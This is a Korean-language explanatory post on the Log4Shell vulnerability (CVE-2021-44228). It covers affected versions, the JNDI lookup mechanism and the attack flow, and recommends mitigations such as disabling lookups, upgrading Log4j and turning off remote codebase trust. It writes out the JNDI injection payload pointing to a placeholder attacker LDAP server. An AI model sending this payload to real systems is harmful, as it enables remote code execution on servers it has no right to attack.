CVE-2021-44228 Log4shell 취약점에 대하여 알아보자.
CVE-2021-44228 Log4Shell 취약점
취약점 정보
- Apache Log4j 의 JNDI(Java Naming and Directory Interface) Injection 취약점이다.
- 영향을 받는 Apache Log4j 버전의 메세지에 신뢰할 수 없는 데이터(악성 페이로드)를 포함함으로써 공격자는 JNDI 조회를 악성 서버에 연결할 수 있다.
- RCE ( Remote Code Excution ) 즉 원격으로 악성 코드를 서버에서 실행시킬 수 있다.
- 원격으로 악성 코드를 서버로 다운로드 및 실행 시키는 공격이다.
취약점 버전
- Log4j2 <= 2.14.1
- jdk version < 6u211, 7u201, 8u191, 11.0.1
보안 취약점 원인
Log4j의 Message Lookup 기능과 Lookups의 JNDI 기능
- Message Lookup 패턴 기능과 Lookup의 JNDI기능 때문에 발생하는 취약점이다.
- 원래 서버 내부에서 운영중인 LDAP 서버에 접속하여 코드를 서버로 다운로드 및 실행시키는 기능이다.
- 공격자는 이를 악용하여 공격자의 LDAP 서버에 접속하여 악성 코드를 서버로 다운로드 및 실행 시킨다.
- 취약한 코드 예시. Message Lookup 기능과 Lookup의 JNDI 기능을 이용한 공격이다.
- 공격자의 payload 가 log 메세지에 삽입되어 발생되는 공격이다.
log.info("test "+"${jndi:ldap://공격자 서버}");
JNDI 란?
- java 로 작성된 에플리케이션을 DNS, LDAP, RMI, NDS 등과 같은 Naming / Directory 서비스에 연결하기 위한 API 이다.
LDAP 란?
- Lightweight Directory Access Protocol 경량 디렉터리 엑세스 프로토콜.
- 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜(7계층)이다.
Log4Shell공격 Payload
${jndi:ldap://공격자 서버}
Log4Shell 공격 동작 방식
- 공격자
- 공격자 LDAP 서버
- 공격자 HTTP 서버 : 악성 class 또는 jar 파일을 가지고 있는 곳이다.
- 취약한 웹 서버 : 취약한 버전의 log4j 버전과 jdk 버전을 이용하고 있어야 한다.
대응 방안
- Log4j 버전 2.10 ~ 2.14.1 을 사용할 때 대응방안. Lookup 기능을 비활성화하기.
java
-Dlog4j2.formatMsgNoLookups=true
...
-
취약점이 해결된 Log4j 2.17 이상 버전 이용하기. 왜냐하면 2.16.0 버전에서 message lookup patterns 이 제거되었고, JNDI 기능이 디펄트로 비활성화 되어있기 때문이다.
-
jdk 버전 6u211, 7u201, 8u191, 11.0.1 이상으로 이용하기. 취약한 버전의 Log4j 버전을 사용하더라도 ldap.object.trustURLCodebase 의 디펄트 값이 false이기 때문에 외부에서 악성 코드를 다운로드 하지 않는다. 즉 웹 서버의 log4j는 공격자 서버에서 jar 또는 class 파일을 다운로드 받고 실행시키지 않는다.
-
Remote codebase 를 disable 하기. 신뢰하지 못하는 외부 서버로 부터 jar 코드를 무단으로 다운 및 실행하지 않게한는 설정이다.
LDAP 기반 설정
com.sun.jndi.ldap.object.trustURLCodebase=false
6u211, 7u201, 8u191, 11.0.1 버전 이상부터 false 가 default이다.
RMI 기반 설정
com.sun.jndi.cosnaming.object.trustURLCodebase=false
8u121 부터 false가 default 이다.
댓글남기기